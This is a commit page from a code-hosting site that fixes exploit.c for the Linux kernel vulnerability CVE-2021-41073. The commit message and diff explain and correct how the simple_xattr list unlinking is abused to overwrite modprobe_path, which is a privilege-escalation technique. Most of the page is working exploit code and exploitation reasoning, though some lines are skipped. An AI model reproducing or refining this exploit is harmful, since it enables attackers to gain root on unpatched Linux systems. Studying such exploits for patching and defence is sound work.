🤬
  • Fix order of overwritten simple_xattr fields

    The address of `modprobe_path` was written to `simple_xattr->prev` instead of `simple_xattr->next`
    as stated in the exploit writeup.
    
    Thus, the arbitrary write occurs in the second part of the unlinking, when `simple_xattr->next`
    is written to `simple_xattr->prev->next`.
    
    This actually slightly simplifies the exploit as `next` is the first field in `list_head`
    so there is no need to deal with any offsets.
    
    However, if the technique in the writeup is followed exactly, `modprobe_path` should be written
    into `simple_xattr->next`, so that in the first part of unlinking, the value of `simple_xattr->prev`
    is written to `simple_xattr->next->prev`, which is offset 8 bytes from `simple_xattr->next`.
    
    This commit modifies the exploit to use the latter method, accounting for the 8 byte offset.
    More comments are also added to better explain what is going on.
    
    Ref: https://twitter.com/QiuhaoLi/status/1578362818369232897
  • Loading...
  • Lam Jun Rong committed 2 years ago
    43c4c7c2
    1 parent 595d665a
  • ■ ■ ■ ■ ■
    CVE-2021-41073/exploit.c
    skipped 265 lines
    266 266   // copy_from_user blocks forever (prevents double free)
    267 267   // We don't need to change the 4th qword
    268 268   unsigned long base_address = FUSE_MEM_ADDR3 - (0x20 - 0x8);
    269  - memcpy(base_address, slash_tmp, 8);
    270  - memcpy(base_address + 8, modprobe_path_plus1, 8);
     269 +
     270 + // `slash_tmp` is written to next->prev which is offset 8 bytes from next
     271 + // so subtract 8 bytes to offset this
     272 + unsigned long modprobe_path_plus1_prev = *modprobe_path_plus1 - 8;
     273 + 
     274 + // simple_xattr->next
     275 + memcpy(base_address, &modprobe_path_plus1_prev, 8);
     276 + // simple_xattr->prev
     277 + memcpy(base_address + 8, slash_tmp, 8);
     278 + // simple_xattr->name
    271 279   memcpy(base_address + 16, security_a, 8);
    272 280   
     281 + // This should never return
    273 282   int ret = setxattr("/tmp/x", "user.b", base_address, 0x20 - 1, 0);
    274  - // This should never return
    275 283   printf("setxattr ret: %d\n", ret);
    276 284   if (ret == -1)
    277 285   {
    skipped 121 lines
    399 407   wait(NULL);
    400 408   sleep(0x100000);
    401 409  }
     410 + 
Please wait...
Page is in error, reload to recover